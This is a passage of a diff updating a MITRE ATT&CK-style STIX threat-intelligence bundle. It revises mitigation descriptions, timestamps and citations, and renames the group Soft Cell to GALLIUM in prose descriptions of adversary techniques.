"modified": "2020-07-09T13:54:28.910Z", + "modified": "2021-04-24T13:23:48.964Z", "created": "2019-06-25T12:37:30.078Z" }, { @@ -150562,7 +151932,7 @@ "description": "Automatically forward events to a log server or data repository to prevent conditions in which the adversary can locate and manipulate data on the local system. When possible, minimize time delay on event reporting to avoid prolonged storage on the local system. ", "id": "relationship--60151204-5c0c-4d18-8582-4d0fad22ed08", "type": "relationship", - "modified": "2020-03-29T21:43:29.390Z", + "modified": "2021-04-24T13:35:09.342Z", "created": "2019-06-25T14:09:38.730Z" }, { @@ -150576,7 +151946,7 @@ "description": "Obfuscate/encrypt event files locally and in transit to avoid giving feedback to an adversary.", "id": "relationship--185c194a-5823-46e4-9719-9de48c3c1734", "type": "relationship", - "modified": "2020-03-29T21:43:29.411Z", + "modified": "2021-04-24T13:35:09.445Z", "created": "2019-06-25T14:09:38.745Z" }, { @@ -150590,7 +151960,7 @@ "description": "Protect generated event files that are stored locally with proper permissions and authentication and limit opportunities for adversaries to increase privileges by preventing Privilege Escalation opportunities.", "id": "relationship--6db4729b-596c-43c1-81f4-d374a2f2e06b", "type": "relationship", - "modified": "2020-03-29T21:43:29.407Z", + "modified": "2021-04-24T13:35:09.447Z", "created": "2019-06-25T14:09:38.748Z" }, { @@ -150706,7 +152076,7 @@ "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8", "target_ref": "attack-pattern--ebb42bbe-62d7-47d7-a55f-3b08b61d792d", "relationship_type": "mitigates", - "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as Bloodhound (version 1.5.1 and later)(Citation: GitHub Bloodhound).", + "description": "Identify and correct GPO permissions abuse opportunities (ex: GPO modification privileges) using auditing tools such as [BloodHound](https://attack.mitre.org/software/S0521) (version 1.5.1 and later)(Citation: GitHub Bloodhound).", "id": "relationship--02a7cdce-3386-4a5f-a9c4-a8ab2d3a9091", "external_references": [ { @@ -150716,7 +152086,7 @@ } ], "type": "relationship", - "modified": "2020-03-26T21:17:41.450Z", + "modified": "2021-01-11T19:48:37.966Z", "created": "2019-06-25T14:35:53.245Z" }, { @@ -151265,11 +152635,11 @@ "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019." } ], - "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used the API calls NtQuerySystemTime, GetSystemTimeAsFileTime, and GetTickCount to check to see if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396) has used the API calls NtQuerySystemTime, GetSystemTimeAsFileTime, and GetTickCount to gather time metrics as part of its checks to see if the malware is running in a sandbox.(Citation: Cyphort EvilBunny Dec 2014)", "relationship_type": "uses", "id": "relationship--0c3f8b3b-a6a3-472c-b792-6f5c7ccfbb24", "type": "relationship", - "modified": "2019-07-01T18:16:33.040Z", + "modified": "2021-04-01T21:13:03.698Z", "created": "2019-06-28T17:40:32.335Z" }, { @@ -151454,11 +152824,11 @@ "description": "Marschalek, M.. (2014, December 16). EvilBunny: Malware Instrumented By Lua. Retrieved June 28, 2019." } ], - "description": "[EvilBunny](https://attack.mitre.org/software/S0396) for a number of specific processes and the length of its own name to identify if the malware is in a sandbox environment.(Citation: Cyphort EvilBunny Dec 2014)\t", + "description": "[EvilBunny](https://attack.mitre.org/software/S0396)'s dropper has checked the number of processes and the length and strings of its own file name to identify if the malware is in a sandbox environment.(Citation: Cyphort EvilBunny Dec 2014)\t", "relationship_type": "uses", "id": "relationship--4ce1ed77-dc5d-42d8-838e-b927dc6d6afb", "type": "relationship", - "modified": "2020-03-27T22:59:44.007Z", + "modified": "2021-04-02T00:14:14.149Z", "created": "2019-06-28T17:40:32.421Z" }, { @@ -151719,7 +153089,7 @@ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6", - "target_ref": "attack-pattern--3fc9b85a-2862-4363-a64d-d692e3ffbee0", + "target_ref": "attack-pattern--d336b553-5da9-46ca-98a8-0b23f49fb447", "external_references": [ { "source_name": "Symantec Waterbug Jun 2019", @@ -151731,7 +153101,7 @@ "relationship_type": "uses", "id": "relationship--2188382d-d557-4a81-9713-7ef4cc675e76", "type": "relationship", - "modified": "2020-03-25T18:07:08.389Z", + "modified": "2020-11-23T17:29:47.267Z", "created": "2019-07-08T15:24:24.610Z" }, { @@ -152068,11 +153438,11 @@ "source_name": "Unit42 Emissary Panda May 2019" } ], - "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited MS17-101 to move laterally to other systems on the network.(Citation: Unit42 Emissary Panda May 2019)\t", + "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has exploited MS17-010 to move laterally to other systems on the network.(Citation: Unit42 Emissary Panda May 2019)\t", "relationship_type": "uses", "id": "relationship--f9ec1b10-f819-42d8-a4b4-ecf015999cb6", "type": "relationship", - "modified": "2019-07-14T21:15:55.419Z", + "modified": "2020-11-24T20:16:51.313Z", "created": "2019-07-09T17:54:21.025Z" }, { @@ -152264,7 +153634,7 @@ "description": "An adversary must already have administrator level access on the local system to make full use of this technique; be sure to restrict users and accounts to the least privileges they require. ", "id": "relationship--3c5f6c2a-7940-4cdc-8b25-811e33d9b96a", "type": "relationship", - "modified": "2020-03-26T21:55:15.603Z", + "modified": "2021-04-24T13:40:53.289Z", "created": "2019-07-16T17:24:49.784Z" }, { @@ -152469,7 +153839,7 @@ "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--c8e87b83-edbb-48d4-9295-4974897525b7", "relationship_type": "mitigates", - "description": "\nConsider limiting access to the BITS interface to specific users or groups. (Citation: Symantec BITS May 2007)", + "description": "\nConsider limiting access to the BITS interface to specific users or groups.(Citation: Symantec BITS May 2007)", "id": "relationship--279fa1bc-e514-4125-ab7e-51fb1da8a3f2", "external_references": [ { @@ -152479,7 +153849,7 @@ } ], "type": "relationship", - "modified": "2020-03-25T23:28:10.325Z", + "modified": "2021-04-13T21:36:05.268Z", "created": "2019-07-16T20:02:53.325Z" }, { @@ -152568,16 +153938,21 @@ "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "external_references": [ { - "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019.", + "source_name": "Accenture SNAKEMACKEREL Nov 2018", "url": "https://www.accenture.com/t20181129T203820Z__w__/us-en/_acnmedia/PDF-90/Accenture-snakemackerel-delivers-zekapab-malware.pdf#zoom=50", - "source_name": "Accenture SNAKEMACKEREL Nov 2018" + "description": "Accenture Security. (2018, November 29). SNAKEMACKEREL. Retrieved April 15, 2019." + }, + { + "source_name": "CISA Zebrocy Oct 2020", + "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303b", + "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303B). Retrieved December 9, 2020." } ], - "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)", + "description": "[Zebrocy](https://attack.mitre.org/software/S0251) has exfiltrated data to the designated C2 server using HTTP POST requests.(Citation: Accenture SNAKEMACKEREL Nov 2018)(Citation: CISA Zebrocy Oct 2020) ", "relationship_type": "uses", "id": "relationship--546fc347-7844-4721-8ec4-dbf45e8ca1e7", "type": "relationship", - "modified": "2019-07-17T01:18:33.385Z", + "modified": "2020-12-22T18:45:21.898Z", "created": "2019-07-16T21:00:11.769Z" }, { @@ -152651,7 +154026,7 @@ "description": "Limit credential overlap across accounts and systems by training users and administrators not to use the same password for multiple accounts.", "id": "relationship--7e8ca453-aee5-48c1-a891-f44a742a95ed", "type": "relationship", - "modified": "2020-06-09T20:44:40.882Z", + "modified": "2021-02-09T14:15:25.643Z", "created": "2019-07-17T15:45:37.493Z" }, { @@ -152682,7 +154057,7 @@ } ], "type": "relationship", - "modified": "2020-06-09T20:44:40.883Z", + "modified": "2021-02-09T14:15:25.684Z", "created": "2019-07-17T15:45:37.521Z" }, { @@ -152703,7 +154078,7 @@ } ], "type": "relationship", - "modified": "2020-06-09T20:44:40.887Z", + "modified": "2021-02-09T14:15:25.667Z", "created": "2019-07-17T15:45:37.529Z" }, { @@ -152729,7 +154104,7 @@ } ], "type": "relationship", - "modified": "2020-06-09T20:44:40.880Z", + "modified": "2021-02-09T14:15:25.682Z", "created": "2019-07-17T15:45:37.582Z" }, { @@ -152841,7 +154216,7 @@ "description": "Enforce the principle of least-privilege. Consider implementing access control mechanisms that include both authentication and authorization.", "id": "relationship--8b3f2915-ca04-4770-88bb-e6f1314da34d", "type": "relationship", - "modified": "2020-10-12T12:16:55.383Z", + "modified": "2021-04-14T14:16:12.385Z", "created": "2019-07-17T18:51:33.926Z" }, { @@ -153033,7 +154408,7 @@ "description": "Web Application Firewalls may be used to limit exposure of applications to prevent exploit traffic from reaching the application.", "id": "relationship--53a95297-1cce-401c-99a3-34079e878fac", "type": "relationship", - "modified": "2020-10-21T01:10:54.658Z", + "modified": "2021-04-12T18:25:16.731Z", "created": "2019-07-17T20:50:44.740Z" }, { @@ -153054,7 +154429,7 @@ } ], "type": "relationship", - "modified": "2020-10-21T01:10:54.681Z", + "modified": "2021-04-12T18:25:16.743Z", "created": "2019-07-17T21:07:56.528Z" }, { @@ -153082,7 +154457,7 @@ "description": "Limit access to remote services through centrally managed concentrators such as VPNs and other managed remote access systems.", "id": "relationship--9eaaffb7-4dc4-4aac-a1d5-675b71e587df", "type": "relationship", - "modified": "2020-06-19T20:07:09.773Z", + "modified": "2021-04-22T20:22:02.725Z", "created": "2019-07-17T21:15:42.971Z" }, { @@ -153096,7 +154471,7 @@ "description": "Deny direct remote access to internal systems through the use of network proxies, gateways, and firewalls.", "id": "relationship--8df2f4b5-3f60-4b8f-b4aa-dd76eb347ab0", "type": "relationship", - "modified": "2020-06-19T20:07:09.776Z", + "modified": "2021-04-22T20:22:02.756Z", "created": "2019-07-17T21:15:42.984Z" }, { @@ -153110,7 +154485,7 @@ "description": "Disable or block remotely available services that may be unnecessary.", "id": "relationship--9aaf5e70-4080-4f73-8d6d-3b19f754e9b9", "type": "relationship", - "modified": "2020-06-19T20:07:09.800Z", + "modified": "2021-04-22T20:22:02.755Z", "created": "2019-07-17T21:15:42.990Z" }, { @@ -153124,7 +154499,7 @@ "description": "Use strong two-factor or multi-factor authentication for remote service accounts to mitigate an adversary's ability to leverage stolen credentials, but be aware of [Two-Factor Authentication Interception](https://attack.mitre.org/techniques/T1111) techniques for some two-factor authentication implementations.", "id": "relationship--e23d57b4-5bc4-4d06-9084-9c99464c4af8", "type": "relationship", - "modified": "2020-06-19T20:07:09.808Z", + "modified": "2021-04-22T20:22:02.750Z", "created": "2019-07-17T21:15:43.002Z" }, { @@ -153176,7 +154551,7 @@ } ], "type": "relationship", - "modified": "2020-05-20T13:49:12.427Z", + "modified": "2021-01-11T19:48:38.019Z", "created": "2019-07-17T21:33:42.484Z" }, { @@ -153444,10 +154819,10 @@ "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--544b0346-29ad-41e1-a808-501bb4193f47", "relationship_type": "mitigates", - "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1088) opportunities can limit the exposure to this technique.", + "description": "Since browser pivoting requires a high integrity process to launch from, restricting user permissions and addressing Privilege Escalation and [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002) opportunities can limit the exposure to this technique.", "id": "relationship--a9f79f14-d160-4be5-8bbe-ad0b52770b9f", "type": "relationship", - "modified": "2020-07-14T19:39:44.799Z", + "modified": "2021-02-09T15:34:09.645Z", "created": "2019-07-18T15:36:27.535Z" }, { @@ -153461,7 +154836,7 @@ "description": "Use tools that restrict program execution via application control by attributes other than file name for common operating system utilities that are needed.", "id": "relationship--eb5ade8c-73e9-4b69-9dea-c8a8206dec25", "type": "relationship", - "modified": "2020-07-09T13:54:28.926Z", + "modified": "2021-04-24T13:23:48.989Z", "created": "2019-07-18T15:46:37.654Z" }, { @@ -153489,7 +154864,7 @@ "description": "Ensure proper network segmentation is followed to protect critical servers and devices.", "id": "relationship--80f94d40-0861-4403-b206-1c864a136788", "type": "relationship", - "modified": "2020-03-11T19:55:53.951Z", + "modified": "2021-04-09T14:56:26.706Z", "created": "2019-07-18T16:38:51.138Z" }, { @@ -153641,7 +155016,7 @@ "description": "Mitigation of some variants of this technique could be achieved through the use of stateful firewalls, depending upon how it is implemented.", "id": "relationship--4b5e8e16-ddf4-4339-859b-f70f980d612b", "type": "relationship", - "modified": "2020-10-21T15:30:45.150Z", + "modified": "2021-02-17T14:23:49.748Z", "created": "2019-07-18T17:11:15.628Z" }, { @@ -153899,7 +155274,7 @@ } ], "type": "relationship", - "modified": "2020-03-23T23:12:47.865Z", + "modified": "2021-04-20T16:31:11.633Z", "created": "2019-07-18T18:21:44.870Z" }, { @@ -153955,7 +155330,7 @@ "description": "Verify that account credentials that may be used to access deployment systems are unique and not used throughout the enterprise network.", "id": "relationship--7a20546a-c6be-4c1b-8b41-23cfb551f933", "type": "relationship", - "modified": "2020-09-16T15:27:01.620Z", + "modified": "2020-12-11T17:00:01.191Z", "created": "2019-07-18T19:06:27.491Z" }, { @@ -153969,7 +155344,7 @@ "description": "Grant access to application deployment systems only to a limited number of authorized administrators.", "id": "relationship--43eebb80-4b8a-4690-a7e3-5f6f8e08db9f", "type": "relationship", - "modified": "2020-09-16T15:27:01.625Z", + "modified": "2020-12-11T17:00:01.211Z", "created": "2019-07-18T19:07:50.184Z" }, { @@ -153997,7 +155372,7 @@ "description": "Limit privileges of user accounts and groups so that only authorized administrators can interact with service changes and service configurations.", "id": "relationship--b5023b20-4243-4686-8b51-429ae7ac73cb", "type": "relationship", - "modified": "2020-07-24T15:36:08.273Z", + "modified": "2021-03-02T22:11:32.230Z", "created": "2019-07-18T19:18:32.950Z" }, { @@ -154070,16 +155445,21 @@ "target_ref": "attack-pattern--3f886f2a-874f-4333-b794-aa6075009b1c", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) exploited a publicly-facing server to gain access to the network.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) exploited a publicly-facing servers including Wildfly/JBoss servers to gain access to the network.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--ad60e0be-02a4-4f79-a81d-afdde78492be", "type": "relationship", - "modified": "2019-07-22T15:49:28.757Z", + "modified": "2021-01-13T21:05:37.555Z", "created": "2019-07-18T20:47:50.147Z" }, { @@ -154093,7 +155473,7 @@ "description": "Ensure proper system and access isolation for critical network systems through use of multi-factor authentication.", "id": "relationship--c869db21-9c91-4449-b316-408bcab56e1b", "type": "relationship", - "modified": "2020-09-16T15:27:01.690Z", + "modified": "2020-12-11T17:00:01.222Z", "created": "2019-07-18T20:58:45.951Z" }, { @@ -154110,7 +155490,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used DLL side-loading to covertly load [PoisonIvy](https://attack.mitre.org/software/S0012) into memory on the victim machine.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used DLL side-loading to covertly load [PoisonIvy](https://attack.mitre.org/software/S0012) into memory on the victim machine.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--3b523bd9-ffc2-4525-a08c-4500bfcb2fed", "type": "relationship", @@ -154131,7 +155511,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) leveraged valid accounts to maintain access to a victim network.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) leveraged valid accounts to maintain access to a victim network.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--1a849525-ee44-4c28-86b2-fe883c45dc79", "type": "relationship", @@ -154147,16 +155527,21 @@ "target_ref": "attack-pattern--7610cada-1499-41a4-b3dd-46467b68d177", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) created rogue, high-privileged domain user accounts to maintain access across waves of a compromise.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) created high-privileged domain user accounts to maintain access to victim networks.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--433ccc4b-5a1f-49e2-9517-f8f899646cab", "type": "relationship", - "modified": "2020-03-26T22:50:07.509Z", + "modified": "2021-03-23T22:13:34.964Z", "created": "2019-07-18T21:12:51.544Z" }, { @@ -154168,16 +155553,21 @@ "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used Web shells to persist in victim environments and assist in execution and exfiltration.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used Web shells to persist in victim environments and assist in execution and exfiltration.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--626697e3-0d05-4081-aa11-61280a502249", "type": "relationship", - "modified": "2020-01-10T15:13:45.097Z", + "modified": "2021-01-13T21:05:37.864Z", "created": "2019-07-18T21:12:51.554Z" }, { @@ -154194,7 +155584,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used PowerShell for execution to assist in lateral movement as well as for dumping credentials stored on compromised machines.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--8698cc92-79ad-46c4-9cb8-30ef87a8d760", "type": "relationship", @@ -154215,7 +155605,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used WMI for execution to assist in lateral movement as well as for installing tools across multiple assets.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--402e9430-9d3a-4694-89ca-923dab3fba26", "type": "relationship", @@ -154236,7 +155626,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used the Windows command shell to execute commands.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used the Windows command shell to execute commands.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--15a8c4ba-f86d-4b2f-a0c7-9390d22dbd4e", "type": "relationship", @@ -154254,7 +155644,7 @@ "description": "Ensure proper system and access isolation for critical network systems through use of group policy.", "id": "relationship--147b8bb5-ca4e-455e-a5b9-f0ab118c67eb", "type": "relationship", - "modified": "2020-09-16T15:27:01.618Z", + "modified": "2020-12-11T17:00:01.233Z", "created": "2019-07-18T21:16:43.793Z" }, { @@ -154296,7 +155686,7 @@ "description": "Ensure that any accounts used by third-party providers to access these systems are traceable to the third-party and are not used throughout the network or used by other third-party providers in the same environment. Ensure there are regular reviews of accounts provisioned to these systems to verify continued business need, and ensure there is governance to trace de-provisioning of access that is no longer required. Ensure proper system and access isolation for critical network systems through use of account privilege separation.", "id": "relationship--0dfd9bcd-f9e2-44c1-9d87-07c626644561", "type": "relationship", - "modified": "2020-09-16T15:27:01.634Z", + "modified": "2020-12-11T17:00:01.255Z", "created": "2019-07-18T21:33:37.812Z" }, { @@ -154331,7 +155721,7 @@ } ], "type": "relationship", - "modified": "2020-03-23T23:12:47.893Z", + "modified": "2021-04-20T16:31:11.616Z", "created": "2019-07-19T14:30:22.451Z" }, { @@ -154352,7 +155742,7 @@ } ], "type": "relationship", - "modified": "2020-03-23T23:12:47.915Z", + "modified": "2021-04-20T16:31:11.671Z", "created": "2019-07-19T14:30:22.462Z" }, { @@ -154373,7 +155763,7 @@ } ], "type": "relationship", - "modified": "2020-03-23T23:12:47.913Z", + "modified": "2021-04-20T16:31:11.676Z", "created": "2019-07-19T14:30:22.477Z" }, { @@ -154387,7 +155777,7 @@ "description": "Limit privileges of user accounts and remediate Privilege Escalation vectors so only authorized administrators can create scheduled tasks on remote systems.", "id": "relationship--1d50b715-96a2-4fd6-bf92-603ad90730fd", "type": "relationship", - "modified": "2020-03-23T23:12:47.917Z", + "modified": "2021-04-20T16:31:11.674Z", "created": "2019-07-19T14:30:22.479Z" }, { @@ -154408,7 +155798,7 @@ } ], "type": "relationship", - "modified": "2020-03-27T21:08:19.960Z", + "modified": "2021-03-25T14:47:48.984Z", "created": "2019-07-19T14:34:28.783Z" }, { @@ -154419,17 +155809,22 @@ "source_ref": "course-of-action--3efe43d1-6f3f-4fcb-ab39-4a730971f70b", "target_ref": "attack-pattern--b80d107d-fa0d-4b60-9684-b0433e8bdba0", "relationship_type": "mitigates", - "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery.", + "description": "Consider implementing IT disaster recovery plans that contain procedures for regularly taking and testing data backups that can be used to restore organizational data.(Citation: Ready.gov IT DRP) Ensure backups are stored off system and is protected from common methods adversaries may use to gain access and destroy the backups to prevent recovery. Consider enabling versioning in cloud environments to maintain backup copies of storage objects.(Citation: Rhino S3 Ransomware Part 2)", "id": "relationship--f8bb44c8-d368-4d56-b039-50d6419ab60a", "external_references": [ { - "source_name": "Ready.gov IT DRP", + "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019.", "url": "https://www.ready.gov/business/implementation/IT", - "description": "Ready.gov. (n.d.). IT Disaster Recovery Plan. Retrieved March 15, 2019." + "source_name": "Ready.gov IT DRP" + }, + { + "source_name": "Rhino S3 Ransomware Part 2", + "url": "https://rhinosecuritylabs.com/aws/s3-ransomware-part-2-prevention-and-defense/", + "description": "Gietzen, S. (n.d.). S3 Ransomware Part 2: Prevention and Defense. Retrieved April 14, 2021." } ], "type": "relationship", - "modified": "2020-10-14T14:52:11.954Z", + "modified": "2021-04-20T16:39:06.776Z", "created": "2019-07-19T14:35:12.517Z" }, { @@ -154640,7 +156035,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used reg commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used reg commands to dump specific hives from the Windows Registry, such as the SAM hive, and obtain password hashes.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--1a28a0a2-8e2f-4c42-b6b0-0ffe3d821528", "type": "relationship", @@ -154656,16 +156051,21 @@ "target_ref": "attack-pattern--65f2d882-3f41-4d48-8a06-29af77ec9f90", "external_references": [ { - "source_name": "Cybereason Soft Cell June 2019", + "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019.", "url": "https://www.cybereason.com/blog/operation-soft-cell-a-worldwide-campaign-against-telecommunications-providers", - "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." + "source_name": "Cybereason Soft Cell June 2019" + }, + { + "source_name": "Microsoft GALLIUM December 2019", + "url": "https://www.microsoft.com/security/blog/2019/12/12/gallium-targeting-global-telecom/", + "description": "MSTIC. (2019, December 12). GALLIUM: Targeting global telecom. Retrieved January 13, 2021." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) along with a PowerShell-based [Mimikatz](https://attack.mitre.org/software/S0002) to dump credentials on the victim machines.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used a modified version of [Mimikatz](https://attack.mitre.org/software/S0002) along with a PowerShell-based [Mimikatz](https://attack.mitre.org/software/S0002) to dump credentials on the victim machines.(Citation: Cybereason Soft Cell June 2019)(Citation: Microsoft GALLIUM December 2019)", "relationship_type": "uses", "id": "relationship--7adea746-109e-41c2-bf48-20e0282038a0", "type": "relationship", - "modified": "2020-03-20T00:16:49.233Z", + "modified": "2021-01-13T21:16:05.345Z", "created": "2019-07-19T16:38:05.304Z" }, { @@ -154682,11 +156082,11 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used ipconfig /all to obtain information about the victim network configuration. The group also ran a modified version of nbtscan to identify available NetBIOS name servers.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used ipconfig /all to obtain information about the victim network configuration. The group also ran a modified version of [NBTscan](https://attack.mitre.org/software/S0590) to identify available NetBIOS name servers.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--b10df154-0c2a-4159-ac0a-1bdaa78f56cb", "type": "relationship", - "modified": "2019-07-22T15:49:28.921Z", + "modified": "2021-03-17T16:14:44.113Z", "created": "2019-07-19T16:38:05.311Z" }, { @@ -154703,7 +156103,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used netstat -oan to obtain information about the victim network connections.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used netstat -oan to obtain information about the victim network connections.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": "relationship--a29a37fc-86e2-4b93-8fa5-560b0a395fbc", "type": "relationship", @@ -154724,7 +156124,7 @@ "description": "Cybereason Nocturnus. (2019, June 25). Operation Soft Cell: A Worldwide Campaign Against Telecommunications Providers. Retrieved July 18, 2019." } ], - "description": "[Soft Cell](https://attack.mitre.org/groups/G0093) used whoami and query user to obtain information about the victim user.(Citation: Cybereason Soft Cell June 2019)", + "description": "[GALLIUM](https://attack.mitre.org/groups/G0093) used whoami and query user to obtain information about the victim user.(Citation: Cybereason Soft Cell June 2019)", "relationship_type": "uses", "id": 